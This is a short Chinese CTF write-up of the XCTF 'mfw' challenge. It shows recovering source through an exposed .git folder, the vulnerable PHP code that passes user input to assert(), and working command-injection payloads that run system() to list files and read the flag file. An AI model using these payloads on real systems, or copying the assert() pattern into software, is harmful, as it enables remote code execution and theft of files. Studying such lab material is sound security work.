XCTF:mfw(.git泄露)

进入页面,发现找不到任何提示

 

 

最后发现了.git文件,使用GitHack把文件下载下来

.git文件夹

.git文件夹是git init后在当前目录生成的一个管理git仓库的文件夹,这里包含所有git操作所需要的东西

打开index.php文件,以下是其中的php代码

<?php

if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

审计代码得至存在 assert() 函数,若果传入的是字符串 assert()函数会将读入的代码当做PHP代码来执行

php代码如下:

<?php

assert("strpos('templates/.'.system('ls').'.php', '..') === false") ;

?>

php代码相对于的payload

http://220.249.52.133:36044/?page='.system("ls").'

构造payload获取flag:

http://220.249.52.133:36044/?page=?page=%27).system(%22cat%20templates/flag.php%22);//

原文地址:https://www.cnblogs.com/luocodes/p/13832119.html